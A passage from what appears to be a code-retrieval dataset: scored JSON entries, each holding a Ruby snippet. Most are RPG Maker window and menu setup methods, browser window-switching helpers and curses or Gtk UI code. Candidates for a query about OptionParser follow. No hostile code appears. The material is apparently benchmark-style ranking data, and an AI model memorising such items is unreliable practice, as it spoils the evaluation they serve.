"text": "def create_location_window\n x = @status_window.x\n width = @status_window.width\n @location_window = Window_Location.new(x, 0, width)\n @location_window.y = Graphics.height - @location_window.height\n @status_window.height = Graphics.height - @location_window.height\n @status_window.refresh\n end",
"title": ""
},
{
"docid": "df33117514ef7dff9fd40b5780e4e49b",
"score": "0.55796695",
"text": "def create_enchant_list_window\n x = 0; y = @help_window.height\n w = Graphics.width / 2\n @enchant_list = Window_EnchantList.new(x, y, w, $game_temp.item_selected)\n @enchant_list.help_window = @help_window\n @enchant_list.active = false\n @enchant_list.set_handler(:ok, method(:scroll_selected))\n @enchant_list.set_handler(:cancel, method(:scroll_unselected))\n @enchant_list.viewport = @viewport1\n end",
"title": ""
},
{
"docid": "895cc5930d2437baf0de5f0bd213aed9",
"score": "0.55715495",
"text": "def addToHistoryWindow(length) # ltodo testSelf this\r\n nextHistElement = HistElement.new\r\n nextHistElement.create(timeSinceInception, length)\r\n @receivedHistoryArray << nextHistElement\r\n end",
"title": ""
},
{
"docid": "18a535e3a1a02a0043a56c83edaa63a9",
"score": "0.5541673",
"text": "def update_detail_window\n return if item.nil? || @detail_window.nil? || self.active == false\n @detail_window.update_header(item.header, item.slot)\n end",
"title": ""
},
{
"docid": "712854fb38108d13dc54b85c3e24d03c",
"score": "0.5540086",
"text": "def command_back\n @confirm_window.close\n @items_window.smooth_move(0, @items_window.y)\n @materials_window.smooth_move(0, @materials_window.y)\n #@gold_window.smooth_move(0, @gold_window.y)\n @details_window.smooth_move(Graphics.width/2, @details_window.y)\n @items_window.activate\n end",
"title": ""
},
{
"docid": "78d74d6781d90ec4bedbda6b54e0dd17",
"score": "0.5527736",
"text": "def location_once_scrolled_into_view; end",
"title": ""
},
{
"docid": "b431823cf9e1f921a7b4fcde9ce71d5d",
"score": "0.5514994",
"text": "def create_places_window\n y = @legend_window.y + @legend_window.height\n height = Graphics.height - @mission_window.height - @legend_window.height\n @places_window = Window_PlaceList.new(y, height)\n @places_window.set_handler(:ok, method(:place_selection))\n @places_window.set_handler(:cancel, method(:return_scene))\n @places_window.activate\n end",
"title": ""
},
{
"docid": "c57c3445285f05abb114f827f7819b5e",
"score": "0.5505072",
"text": "def redirection_history=(_arg0); end",
"title": ""
},
{
"docid": "60c55f7c76cee3d0692a5bce526f8a4c",
"score": "0.5505028",
"text": "def page_revisions\n self.back_to_top\n page_revisions_button\n wait_for_ajax\n \n end",
"title": ""
},
{
"docid": "0985e47a07324e644f4087465c9238fe",
"score": "0.54951215",
"text": "def window(id); end",
"title": ""
},
{
"docid": "7222af34cf49edef47916f467a844c2a",
"score": "0.5491911",
"text": "def history\r\n\r\n end",
"title": ""
},
{
"docid": "b1ada7534d5ddc8a7900dff3353c2bdb",
"score": "0.5491743",
"text": "def main_window\r\n super\r\n # Make windows\r\n @help_window = Window_Help.new\r\n @left_window = Window_EquipLeft.new(@actor)\r\n @right_window = Window_EquipRight.new(@actor)\r\n @item_window1 = Window_EquipItem.new(@actor, 0)\r\n @item_window2 = Window_EquipItem.new(@actor, 1)\r\n @item_window3 = Window_EquipItem.new(@actor, 2)\r\n @item_window4 = Window_EquipItem.new(@actor, 3)\r\n @item_window5 = Window_EquipItem.new(@actor, 4)\r\n # Associate help window\r\n @right_window.help_window = @help_window\r\n @item_window1.help_window = @help_window\r\n @item_window2.help_window = @help_window\r\n @item_window3.help_window = @help_window\r\n @item_window4.help_window = @help_window\r\n @item_window5.help_window = @help_window\r\n # Set cursor position\r\n @right_window.index = @equip_index\r\n refresh\r\n end",
"title": ""
},
{
"docid": "998d6fbeb923c5f75fe375b52e41b142",
"score": "0.5490365",
"text": "def scroll_window=(window)\n @scroll_window = window\n end",
"title": ""
},
{
"docid": "c987b1e7419e325e425dd1404f3a6ed9",
"score": "0.5470431",
"text": "def create_workspace_and_options_tabs()\n new_notebook = Wx::Notebook.new(self)\n\n @ws_tab = Wx::Panel.new(new_notebook) # Add workspace tab\n @ws_mvsizer = Wx::BoxSizer.new(Wx::VERTICAL)\n @ws_tab.set_sizer(@ws_mvsizer)\n\n @options_tab = Wx::Panel.new(new_notebook) # Add options tab\n @options_mvsizer = Wx::BoxSizer.new(Wx::VERTICAL)\n @options_tab.set_sizer(@options_mvsizer)\n\n\n new_notebook.add_page(@ws_tab , \"Workspace\")\n new_notebook.add_page(@options_tab , \"Options\")\n evt_notebook_page_changing(new_notebook.get_id()) {|event| on_changing_page(event) }\n end",
"title": ""
},
{
"docid": "1e7b299ddfa8c69a57aebb3a4fb65382",
"score": "0.5463956",
"text": "def update_window_contents(key, win, options=nil)\n window(win) << \".html('<div id=\\\"#{win}_wr_content\\\">' + window.window_rails_contents[#{format_type_to_js(key.to_s)}] + '</div>');\"\n end",
"title": ""
},
{
"docid": "5b1a478708cd6eede4e4a94add4d61f8",
"score": "0.5430219",
"text": "def setwindow(*)\n super\n end",
"title": ""
},
{
"docid": "a9ec07ae0bf57ca632a96c60ddc4498c",
"score": "0.54275984",
"text": "def history; end",
"title": ""
},
{
"docid": "a9ec07ae0bf57ca632a96c60ddc4498c",
"score": "0.54275984",
"text": "def history; end",
"title": ""
},
{
"docid": "a9ec07ae0bf57ca632a96c60ddc4498c",
"score": "0.54275984",
"text": "def history; end",
"title": ""
},
{
"docid": "e5413fa07a6ca85d2d38f72fa6603e68",
"score": "0.5419409",
"text": "def show_window\n end",
"title": ""
},
{
"docid": "0cd1cae68163c6a3fab35343af4ff5e5",
"score": "0.5394416",
"text": "def content_windows\n content = {\n score_window: Curses::Window.new(4, 14, 4, 3),\n lvl_window: Curses::Window.new(3, 5, 11, 3),\n lines_window: Curses::Window.new(3, 7, 11, 10),\n highscores_window: Curses::Window.new(24, 14, 17, 3),\n tetris_window: Curses::Window.new(40, 20, 4, 20),\n next_window: Curses::Window.new(10, 14, 4, 43)\n }\n\n content.each do |_name, window|\n window.noutrefresh\n end\n content\nend",
"title": ""
},
{
"docid": "aafbc07de270002206b1b7dc268b8c97",
"score": "0.53937197",
"text": "def history=(_arg0); end",
"title": ""
},
{
"docid": "aafbc07de270002206b1b7dc268b8c97",
"score": "0.53937197",
"text": "def history=(_arg0); end",
"title": ""
},
{
"docid": "6ecc7f037c3930f7b8fbaa59c56c3e51",
"score": "0.53869927",
"text": "def next_window\n return unless peek_event\n\n window = History::Window.new\n\n while event = next_event\n window.add(event)\n\n break if event.type == 'DecisionTaskCompleted'\n end\n\n # Find the end of the window by exhausting all the commands\n window.add(next_event) while command?(peek_event)\n\n window.freeze\n end",
"title": ""
},
{
"docid": "153a47ba9036ac49e9adf214f61274d9",
"score": "0.5384827",
"text": "def switch_to_new_window\n $previous_window = $driver.window_handle\n $driver.switch_to.window($driver.window_handles.last)\nend",
"title": ""
},
{
"docid": "ed68f0bad038e1a791640dd43d804236",
"score": "0.53822047",
"text": "def main_window\r\n super\r\n # Make main command window\r\n main_command_window\r\n # Make play time window\r\n @playtime_window = Window_PlayTime.new\r\n @playtime_window.x = 0\r\n @playtime_window.y = 224\r\n # Make steps window\r\n @steps_window = Window_Steps.new\r\n @steps_window.x = 0\r\n @steps_window.y = 320\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 0\r\n @gold_window.y = 416\r\n # Make status window\r\n @status_window = Window_MenuStatus.new\r\n @status_window.x = 160\r\n @status_window.y = 0\r\n end",
"title": ""
},
{
"docid": "1cf0c7a58c545f61c422051c840aa014",
"score": "0.53781605",
"text": "def main_window\r\n super\r\n # Make help window\r\n @help_window = Window_Help.new\r\n # Make command window\r\n @command_window = Window_ShopCommand.new\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 480\r\n @gold_window.y = 64\r\n # Make dummy window\r\n @dummy_window = Window_Base.new(0, 128, 640, 352)\r\n # Make buy window\r\n @buy_window = Window_ShopBuy.new($game_temp.shop_goods)\r\n @buy_window.active = false\r\n @buy_window.visible = false\r\n @buy_window.help_window = @help_window\r\n # Make sell window\r\n @sell_window = Window_ShopSell.new\r\n @sell_window.active = false\r\n @sell_window.visible = false\r\n @sell_window.help_window = @help_window\r\n # Make quantity input window\r\n @number_window = Window_ShopNumber.new\r\n @number_window.active = false\r\n @number_window.visible = false\r\n # Make status window\r\n @status_window = Window_ShopStatus.new\r\n @status_window.visible = false\r\n end",
"title": ""
},
{
"docid": "c07fac23051cb3531892d4382d841563",
"score": "0.53479886",
"text": "def set_windows\n set_title \"R-Bloggyn::#{@usuario.alias}\" #nombre de la ventana\n set_default_size 640, 480 #tamaño de la ventana\n set_skip_taskbar_hint true\n set_window_position Gtk::Window::POS_CENTER #posicion de la ventana\n self.set_attributes\n add @hbox\n show_all #muestra todo\n end",
"title": ""
},
{
"docid": "65b03d8606a9271ebd338dc8d0890d22",
"score": "0.53421026",
"text": "def store_in_history\n if current = @history.current\n current.cursor = @info.index('insert')\n current.yview = @info.yview[0]\n end\n end",
"title": ""
},
{
"docid": "6d6e4b25d8998baed218f4334cc36b0b",
"score": "0.53322864",
"text": "def create_quest_list_window\n if @category_dummy_window\n y = @category_dummy_window.height\n else\n y = @quest_category_window ? @quest_category_window.height : 0\n y += @quest_category_label_window ? @quest_category_label_window.height : 0\n y = @quest_label_window.height if y == 0\n end\n @quest_list_window = Window_QuestList.new(0, y, QuestData::LIST_WINDOW_WIDTH, \n Graphics.height - y)\n @quest_list_window.set_handler(:ok, method(:on_list_ok))\n @quest_list_window.deactivate if !QuestData::CONCURRENT_ACTIVITY\n if !QuestData::CONCURRENT_ACTIVITY || !@quest_category_window\n @quest_list_window.set_handler(:cancel, method(:on_list_cancel))\n end\n if @quest_category_window\n @quest_category_window.add_observing_proc(:list) { |category| \n @quest_list_window.category = category }\n else\n @quest_list_window.category = $game_system.quest_categories[0]\n end\n @quest_list_window.index = @init_quest_index if @init_quest_index\n end",
"title": ""
},
{
"docid": "1cc5cd1741b9625478ea810aaa789231",
"score": "0.53307474",
"text": "def initialize(x = 0, y = 0, width = Graphics.width, height = Graphics.height,\n wrap_type = :word, draw_scroll_for_one = false, skin = nil)\n #==========================================================================\n # Here we set the windowskin for the book. It can be provided in the\n # constructor of your window when it calls super, or you can rely on this\n # default setting which will, if my Window Swap script is active, cause\n # it to use a file called \"Book Window\" found in the Graphics/Windows\n # folder. If you are not using the aforementioned script, it will use the\n # default windowskin. You may modify this section to change the default\n # setting if you wish, but I would leave in the \"skin ||\" part so that\n # children of this class can still provide their own windows.\n #\n # If you choose to provide a windowskin from a child class, it must be as\n # a Bitmap rather than a file name, so remember to load it up. A child\n # window's call to this method that provides a windowskin would look\n # something like this:\n # super(0, 0, 544, 416, Cache.windows(\"Child Window\"))\n #\n # We also set @wrap to our desired wrap type and initialize @pagetext to\n # an empty hash with an empty array as its default value, though if\n # @pagetext has already been initialized (which it should have in a child\n # class) it will only set the default, not empty the hash.\n #==========================================================================\n @skin = skin || \n ($imported[\"ESSA - Window Swap\"] ? Cache.windows(\"Book Window\") :\n Cache.system(\"Window\"))\n @wrap = wrap_type and @pagetext ||= {} and @pagetext.default = []\n @draw_scroll_for_one = draw_scroll_for_one\n super(x, y, width, height)\n #==========================================================================\n # This sets the Z-value of the window to 255, to make sure\n # that it displays on top of everything else, and defaults @page (a local\n # variable that holds an integer that determines the current page) to 1.\n # It then builds the window's contents and sets it as the active window.\n #==========================================================================\n self.z, @page = 255, 1\n refresh\n activate\n end",
"title": ""
},
{
"docid": "03f093df78ec614e9f14e68a29a11b76",
"score": "0.52967036",
"text": "def update_info_window\n return if @info_window.nil?\n @info_window.set_item(item)\n end",
"title": ""
},
{
"docid": "4807e6e3d1dd1c2d5917dbe3661e4689",
"score": "0.5295436",
"text": "def window\n self\n end",
"title": ""
},
{
"docid": "b88a5c8a40a5e5bd5da386d202296c7b",
"score": "0.5291056",
"text": "def main_window\r\n super\r\n # Make help window, item window\r\n @help_window = Window_Help.new\r\n @item_window = Window_Item.new\r\n # Associate help window\r\n @item_window.help_window = @help_window\r\n # Make target window (set to invisible / inactive)\r\n @target_window = Window_Target.new\r\n @target_window.visible = false\r\n @target_window.active = false\r\n end",
"title": ""
},
{
"docid": "a72b5bb6b85a90d9dcbf55fa8a04b8bb",
"score": "0.52701235",
"text": "def set_info_window(window)\n @info_window = window\n end",
"title": ""
},
{
"docid": "2d66aa7426a29caf049b0aa7b5390efd",
"score": "0.5266851",
"text": "def handle_footer(window3,window_name)\n footer_msg = \"[#{window_name}] Press CTRL-C to quit. \\\"l\\\" to list the current directory. \\\"s\\\" to show the contents of the file. <Tab> switches between active windows.\"\n window3.setpos(0,window3.maxx / 2- footer_msg.length / 2)\n window3.addstr(footer_msg)\nend",
"title": ""
},
{
"docid": "972316b9d795473dfd5481f61426b1a5",
"score": "0.5264435",
"text": "def new_tab\n execute_script('window.open();')\n window_handles.last\n end",
"title": ""
},
{
"docid": "833a4317f26aeabcc704a95775d4df5b",
"score": "0.5260927",
"text": "def create_all_shared_acts_win\n h,w = Graphics.height, Graphics.width\n @all_shared_acts_win = Window_BasicTextTB.new(0,0,200,55)\n @all_shared_acts_win.viewport = @viewport\n \n @all_shared_acts_win.text = actions_left_txt_era\n @all_shared_acts_win.no_skin\n @all_shared_acts_win.font_size = 14\n @all_shared_acts_win.hide\n end",
"title": ""
},
{
"docid": "0f1358e428dd8ead5a0dfe273d5c00c7",
"score": "0.52593106",
"text": "def real_focused_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_sane_get_focus @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"title": ""
},
{
"docid": "1e19953b0db23bc2cfa67d309005d303",
"score": "0.5257629",
"text": "def bring_current_window_to_front\n @fox_driver.switch_to.window(@fox_driver.window_handles.first)\n end",
"title": ""
},
{
"docid": "a3809ebd31af5fc27727a5230d63b47f",
"score": "0.5256348",
"text": "def overwrite_window\n return @window.overwrite(@otherwin.get_window)\n end",
"title": ""
},
{
"docid": "85efa6b02da3db1414b24ef28a01d186",
"score": "0.5255669",
"text": "def init_history history\n\n history.set_editable false\n history.set_can_focus false\n history.set_justification 1\n\n end",
"title": ""
},
{
"docid": "71a02bce18b066709068ccb5df0f8971",
"score": "0.5249584",
"text": "def gold_window=(window); @gold_window = window; end",
"title": ""
},
{
"docid": "a264006f3cb30797f38547af015914a9",
"score": "0.5243598",
"text": "def redirection_history; end",
"title": ""
},
{
"docid": "45a8ee5f2c9935c667cdad2652e949bd",
"score": "0.5238198",
"text": "def gold_window; @gold_window; end",
"title": ""
},
{
"docid": "9c725391a88c0f437f15d2baab1147c4",
"score": "0.522987",
"text": "def update_page_window\n if Input.trigger?(Input::B)\n Sound.play_cancel\n @event_window.show.activate\n @page_window.hide.deactivate\n elsif Input.trigger?(Input::C)\n Sound.play_ok\n @mode_window.show.activate\n @page_window.deactivate\n end\n end",
"title": ""
},
{
"docid": "aa429179d15a1e5b0126778d201968d7",
"score": "0.5229382",
"text": "def create_command_window\n end",
"title": ""
},
{
"docid": "29df9dd1c962d2119fd5b416b6a45289",
"score": "0.5227945",
"text": "def switch_to_other_window\n @window_id = (@window_id - 1).abs\n if @window_id != 0 and @window_id !=1\n puts @window_id\n raise(Exception::WindowMatchError, \"You cannot use this keyword when more than 2 windows are open; you must use 'Switch To Window', 'Switch to Next Window', or 'Switch to Previous Window'\")\n end\n\n @browser.windows[@window_id].use\n end",
"title": ""
},
{
"docid": "3d8410cfa800cc8812a5e27aac1d6e41",
"score": "0.5225839",
"text": "def page_window window_number=0\n get_page source_window window_number\n nil\n end",
"title": ""
},
{
"docid": "fb2d12579f511b2132e7a10b710d4c4e",
"score": "0.5218326",
"text": "def main_window\r\n super\r\n # Make status window\r\n @status_window = Window_Status.new(@actor)\r\n end",
"title": ""
},
{
"docid": "3d78151438414e4f4b554657470b9a93",
"score": "0.5214955",
"text": "def update_event_window\n if Input.trigger?(Input::B)\n Sound.play_cancel\n @map_window.show\n @type_window.show.activate\n @event_window.hide.deactivate\n elsif Input.trigger?(Input::C)\n Sound.play_ok\n unless @type_window.index == 1\n fill_page_window\n @event_window.hide.deactivate\n else\n @mode_window.show.activate\n @event_window.deactivate\n end\n end\n end",
"title": ""
},
{
"docid": "5fdca59e4c3819128d752abdc13cab3e",
"score": "0.5212305",
"text": "def update_help\n @help_window.set_item(item) if @help_window\n @status_window.item = item if @status_window\n end",
"title": ""
},
{
"docid": "bacac2bb510e9b8ef68ccdb621c5b0d1",
"score": "0.5211746",
"text": "def switch_to_new_window(window)\t\r\n\t\t\t# Switch to new window\r\n\t\t\t#new_window = @driver.window_handles.last\r\n\t\t\t@driver.switch_to.window(window)\r\n\t\tend",
"title": ""
},
{
"docid": "14feec270b860f793cf6ba808f2267b4",
"score": "0.5209347",
"text": "def switch_window(new_window, coords: {})\n @window = new_window\n move(coords[:y], coords[:x]) unless coords.empty?\n end",
"title": ""
},
{
"docid": "04f5b33b6fcc00ff179a3a93844c09c0",
"score": "0.5207734",
"text": "def create_info_window\n y = @enemy_list_window.y\n x = @enemy_list_window.width\n @info_window = Window_EnemyInfo.new(x, y, Graphics.width - x, Graphics.height - y)\n @enemy_list_window.set_info_window(@info_window)\n @category_window.z = 9999\n @info_window.viewport = @viewport\n end",
"title": ""
},
{
"docid": "0b235989c33481625f8451da9ec58466",
"score": "0.5203977",
"text": "def show_target_window(right)\n @item_window.active = false\n width_remain = (640 - @target_window.width)/2\n @target_window.x = width_remain.floor\n heigth_remain = (480 - @target_window.height)/2\n @target_window.y = heigth_remain.floor\n @target_window.visible = true\n @target_window.active = true\n end",
"title": ""
},
{
"docid": "0b235989c33481625f8451da9ec58466",
"score": "0.5203977",
"text": "def show_target_window(right)\n @item_window.active = false\n width_remain = (640 - @target_window.width)/2\n @target_window.x = width_remain.floor\n heigth_remain = (480 - @target_window.height)/2\n @target_window.y = heigth_remain.floor\n @target_window.visible = true\n @target_window.active = true\n end",
"title": ""
},
{
"docid": "986da36487fb7db81a844d6e8ea3b577",
"score": "0.52027375",
"text": "def switch_to_previous_window\n $driver.switch_to.window $previous_window\nend",
"title": ""
},
{
"docid": "8b507b7c25d5ea158f0238e0e30baad0",
"score": "0.5200078",
"text": "def create_item_window\n y = @help_window.bottom_corner\n width = Graphics.width / 2\n height = @materials_window.y - y\n @items_window = Window_ForgeList.new(0, y, width, height)\n @items_window.set_handler(:ok, method(:command_select))\n @items_window.set_handler(:cancel, method(:return_scene))\n @items_window.help_window = @help_window\n @items_window.mat_window = @materials_window\n #@items_window.gold_window = @gold_window\n end",
"title": ""
},
{
"docid": "0db28a12eb636de55c32e20fe287ffcc",
"score": "0.5199521",
"text": "def update_window(content, options={})\n window_setup\n win = options.delete(:window)\n error = options.delete(:error)\n key = store_content(content)\n self << check_for_window(win, error){ update_window_contents(key, win, options) }\n nil\n end",
"title": ""
},
{
"docid": "d1b9fcfc0e2ab250fe79b967e1758ec4",
"score": "0.51958305",
"text": "def create_title_window\n @title_window = Window_TitleList.new(TITLE_WINDOW_X, TITLE_WINDOW_Y)\n @title_window.actor = @actor\n @title_window.set_handler(:ok, method(:on_title_ok))\n @title_window.set_handler(:cancel, method(:on_title_cancel))\n @title_window.set_handler(:start, method(:toggle_help))\n @title_window.help_window = @help_window\n @title_window.hide\n end",
"title": ""
},
{
"docid": "2e825f1764a928219d73ec459bd1d603",
"score": "0.5191749",
"text": "def page\n Bowline::Desktop::Proxy.new(\n windows.length == 1 ? windows.first : windows\n )\n end",
"title": ""
},
{
"docid": "f9e80f5a24029ba3fd3ceef350680bc7",
"score": "0.5190232",
"text": "def pbListWindow(cmds, width = Graphics.width / 2)\r\n list = Window_CommandPokemon.newWithSize(cmds, 0, 0, width, Graphics.height)\r\n list.index = 0\r\n list.rowHeight = 24\r\n pbSetSmallFont(list.contents)\r\n list.refresh\r\n return list\r\nend",
"title": ""
},
{
"docid": "9adf05a9b27c138571dd6e75b117400c",
"score": "0.5179354",
"text": "def refresh\n #==========================================================================\n # Here we set the Y-origin for the window's display to 0, so that the new\n # page will display from the top even if the player had scrolled all the\n # way to the bottom of the previous page. We also build the contents for\n # the current page, draw the page number display, and then draw whatever\n # the page is intended to contain. When creating a child window for this\n # class, make sure to create a draw_page# method for each page in the\n # window. I've set things up so that a page will remain blank (or display\n # its text from @pagetext, if it has any) if the method doesn't exist\n # rather than throwing an error and crashing, but that's no excuse to\n # leave a poor little page without a handler! Well, unless you're just\n # displaying text, but still. Try to be creative! You can create\n # encyclopedias with pictures, or magazines with articles set in various\n # column styles, or dozens of other things! Don't limit yourself to just\n # plain books - though those are good, too.\n #==========================================================================\n self.oy = 0\n create_contents and draw_scroll\n send(\"draw_page#{@page}\")\n return true\n end",
"title": ""
},
{
"docid": "eee8814355559f1996400503426c5c86",
"score": "0.5178826",
"text": "def create_help_window\n super\n @help_window.y = @blacksmith_window.height\n end",
"title": ""
},
{
"docid": "a795c5cbe6519a1bb4e4c685e1a70bdd",
"score": "0.51775837",
"text": "def window_focus window_name\r\n command 'windowFocus', window_name\r\n end",
"title": ""
},
{
"docid": "9169e83f9365143363ef36d65f74adf5",
"score": "0.517286",
"text": "def _entry_2_xscrollcommand(*args)\n\n end",
"title": ""
},
{
"docid": "34fc1aa98204364d244bb7088b8f96b6",
"score": "0.51713115",
"text": "def pbListWindow(cmds,width=256)\n list = Window_CommandPokemon.newWithSize(cmds,0,0,width,Graphics.height)\n list.index = 0\n list.rowHeight = 24\n pbSetSmallFont(list.contents)\n list.refresh\n return list\nend",
"title": ""
},
{
"docid": "acb0436736248aa51601ce1730c0dc8c",
"score": "0.516819",
"text": "def main_window\r\n super\r\n # Make help window\r\n @help_window = Window_Help.new\r\n @help_window.set_text(@help_text)\r\n # Make save file window\r\n @savefile_windows = []\r\n for i in 0..3\r\n @savefile_windows.push(Window_SaveFile.new(i, make_filename(i)))\r\n end\r\n @savefile_windows[@file_index].selected = true\r\n end",
"title": ""
},
{
"docid": "f5d9ea8b0ae714dce7f1f6315213c027",
"score": "0.5166604",
"text": "def window\n @win\n end",
"title": ""
},
{
"docid": "98b5c23b7fb7e061d7a49de301bf339d",
"score": "0.51660895",
"text": "def switch_to_next_window\n @window_id += 1\n if @window_id >= @browser.windows.count\n # wrap back to the first\n @window_id = 0\n end\n\n @browser.windows[@window_id].use\n end",
"title": ""
},
{
"docid": "8eacc29870e8be6e0b75e07b0d3fc09d",
"score": "0.51643085",
"text": "def focused_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_get_focus @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"title": ""
},
{
"docid": "f6194ae99c226bfa44e338022bb34754",
"score": "0.51608706",
"text": "def gtk_window\n if Config[:files_use_search]\n @gtk_paned_box\n else\n @gtk_top_box\n end\n end",
"title": ""
},
{
"docid": "0a8e901e9a022a48e1f75f27b8fe3094",
"score": "0.51569444",
"text": "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end",
"title": ""
},
{
"docid": "b79398ba837015613c5f8935c9b9cb7e",
"score": "0.5153706",
"text": "def window_update(oline)\n if oline != nil\n #text = \"\"\n @last_color = 0\n @contents_x = 0\n @contents_y = 0\n @biggest_text_height = 0\n @cControlsList.clear()\n for l in oline\n next if l == nil\n converted_line = convert_special_characters(l)\n generate_controls(converted_line)\n new_line\n end\n\n # Changes contents size for scrolling\n self.contents.dispose\n self.contents = Bitmap.new(self.width - 32, [self.height - 32, @contents_y].max)\n self.oy = 0\n end\n \n refresh()\n end",
"title": ""
},
{
"docid": "43592e1dec55d5d91409272be7cf33da",
"score": "0.514881",
"text": "def update_help\n super\n @help_window.set_item(item.item) if @help_window\n mat_window.set_item(item) if mat_window\n info_window.set_item(item.item) if info_window\n gold_window.set_item(item) if gold_window\n end",
"title": ""
},
{
"docid": "20484f36e74a92df7e360fcf762a0658",
"score": "0.5137359",
"text": "def switch_to_window(loc)\n if loc[0..3] == 'url=' or loc[0..5] == 'title='\n @browser.window(parse_location(loc)).use\n else\n # assume loc is an integer\n # since Robot Framework sends all args as text, the above check for\n # \"url=\" and \"title=\" is the best we can do to ensure argument correctness\n loc = loc.to_i\n # the number of the window\n # user-facing numbers are 1-based, internal we use 0-based because @browser.windows\n # is a Ruby array, so minus 1\n @window_id = loc - 1\n if @window_id == -1\n # either the user has been too smart for his/her own good and thinks the windows are 0-based,\n # or they've entered text that doesn't match 'url=' or 'title=', in which case\n # the above loc.to_i will make loc equal 0\n raise(ArgumentError, \"You must provide the url or title of the window in the format 'url=' or 'title=', or you must provide the number of the window, starting with 1 for the first window opened.\")\n end\n # this will throw its own error if the index is out of range\n @browser.windows[loc].use\n end\n end",
"title": ""
},
{
"docid": "18d94460a3fc15b15fc731805f9de38b",
"score": "0.51330394",
"text": "def main_window\r\n super\r\n # Make command window\r\n s1 = \"To Title\"\r\n s2 = \"Shutdown\"\r\n s3 = \"Cancel\"\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 240 - @command_window.height / 2\r\n end",
"title": ""
},
{
"docid": "3feb588ea6e6e7b64c2335bee0b96814",
"score": "0.51282114",
"text": "def create_number_window\r\n wy = @dummy_window.y\r\n wh = @dummy_window.height\r\n @number_window = Window_ShopNumber.new(0, wy, wh)\r\n @number_window.viewport = @viewport\r\n @number_window.hide\r\n @number_window.set_handler(:ok, method(:on_number_ok))\r\n @number_window.set_handler(:cancel, method(:on_number_cancel))\r\n end",
"title": ""
},
{
"docid": "1b258c10632a9e56742321e0d215b6a6",
"score": "0.51277065",
"text": "def create_number_window\n @number_window = Window_StorageNumber.new\n @number_window.viewport = @viewport\n @number_window.x = ((Graphics.width / 2) - (@number_window.width / 2)) \n @number_window.y = ((Graphics.height / 2) - (@number_window.height / 2)) \n @number_window.hide\n @number_window.set_handler(:ok, method(:on_number_ok))\n @number_window.set_handler(:cancel, method(:on_number_cancel))\n end",
"title": ""
},
{
"docid": "b19a90c7d9cf00f472410397f60df1b2",
"score": "0.5123154",
"text": "def window_update(text)\n if text != nil\n @cTitle.text = text\n end\n refresh()\n end",
"title": ""
},
{
"docid": "b19a90c7d9cf00f472410397f60df1b2",
"score": "0.5123154",
"text": "def window_update(text)\n if text != nil\n @cTitle.text = text\n end\n refresh()\n end",
"title": ""
}
] |
6c774c3b04eac21a3862fb9975258045 | OptionParser para parser de datos | [
{
"docid": "65fea1a404042ad6e30816f7b0b2db8b",
"score": "0.0",
"text": "def get_opts\n pwd = Dir.pwd\n options = {}\n OptionParser.new do |opts|\n opts.banner = \"Uso: ./parse.rb [opciones] archivo.xlsx\"\n opts.on( '-h', '--help', 'Muestra esta pantalla' ) do\n puts opts\n exit\n end\n \n options[:sheet] = nil\n opts.on( '-s hoja', '--sheet hoja', \"La hoja del documento que usaremos\" ) do |hoja|\n options[:sheet] = hoja.to_i-1\n end\n\n opts.on '-o dir', '--output dir', \"El directorio de salida de los datos\" do |dir|\n if File.directory? File.expand_path(dir, pwd)\n options[:dir] = dir\n else\n puts \"#{dir} no es un directorio\"\n exit 255\n end\n \n end\n \n if !ARGV[0]\n puts opts.help()\n exit 255\n end\n \n end.parse!\n options\nend",
"title": ""
}
] | [
{
"docid": "8fa23902514bb7740e67b5a7865b0b08",
"score": "0.74426806",
"text": "def opt_parser; end",
"title": ""
},
{
"docid": "b5ce49b5a2c9556839d13856f49711d3",
"score": "0.7334287",
"text": "def parse_options(options); end",
"title": ""
},
{
"docid": "29542d5d461129210320b5586610fd72",
"score": "0.7251145",
"text": "def option_parser\n @option_parser ||= OptionParser.new do |o|\n o.banner = \"Usage: optical [options] [FIELD=FILTER] [FIELD2=FILTER2...]\"\n o.version = ::Optica::Client::VERSION\n\n o.separator ''\n o.separator <<-EOS\n Fetch host information from Optica, and cache it for 15 minutes.\n Output the fetched information as a JSON stream, suitable for processing with `jq`.\n\n FIELD: any optica field; see your optica host for availible fields\n FILTER: either a bare string, like \"optica\", or a regex string, like \"/^(o|O)ptica?/\"\n EOS\n\n o.separator ''\n o.separator 'Options:'\n\n o.on(\n '-s',\n '--select a,b,c',\n ::Array,\n 'Retrieve the given fields, in addition to the defaults'\n ) do |fs|\n @fields.concat(fs)\n end\n\n o.on(\n '-a',\n '--all',\n 'Retrieve all fields (default is just role,id,hostname)'\n ) do |all|\n @fields = nil if all\n end\n\n o.on(\n '-j',\n '--just a,b,c',\n ::Array,\n 'Print just the given fields as tab-seperated strings, instead of outputting json. Implies selecting those fields.'\n ) do |outs|\n @outs.concat(outs)\n @fields.concat(outs)\n end\n\n o.on(\n '-v',\n '--verbose',\n 'Print debug information to STDERR'\n ) do |v|\n @verbose = v\n end\n\n o.on('-p', \"--pretty[=#{data_pipe.tty?}]\", \"Pretty-print JSON (default true when STDOUT is a TTY)\") do |p|\n @pretty = p\n end\n\n o.on(\n '-r',\n '--refresh',\n 'Delete cache before performing request.'\n ) do |r|\n @delete_cache = r\n end\n\n o.on(\n '-h',\n '--host URI',\n \"Optica host (default #{@config.default_host.inspect})\"\n ) do |host|\n @host = host\n end\n\n o.on(\n '-H URI',\n '--set-default-host URI',\n 'Set the default optica host'\n ) do |h|\n # TODO: move to #run\n @host = h\n @config.default_host = h\n @config.write!\n log \"set default host to #{h}\"\n end\n\n o.separator ''\n o.separator 'Examples:'\n o.separator <<-EOS\n Retrieve all nodes with a role starting with \"example-\":\n optical role=/^example-/\n\n Retrieve all the nodes registered to a test optica instance:\n optical -h https://optica-test.example.com\n\n Retrieve all data about my nodes:\n optical --all launched_by=`whoami`\n\n SSH into the first matched node:\n ssh $(optical --just hostname role=example branch=jake-test | head -n 1)\n EOS\n end\n end",
"title": ""
},
{
"docid": "82b6dfe33e8175a40084aaa601c74055",
"score": "0.7217835",
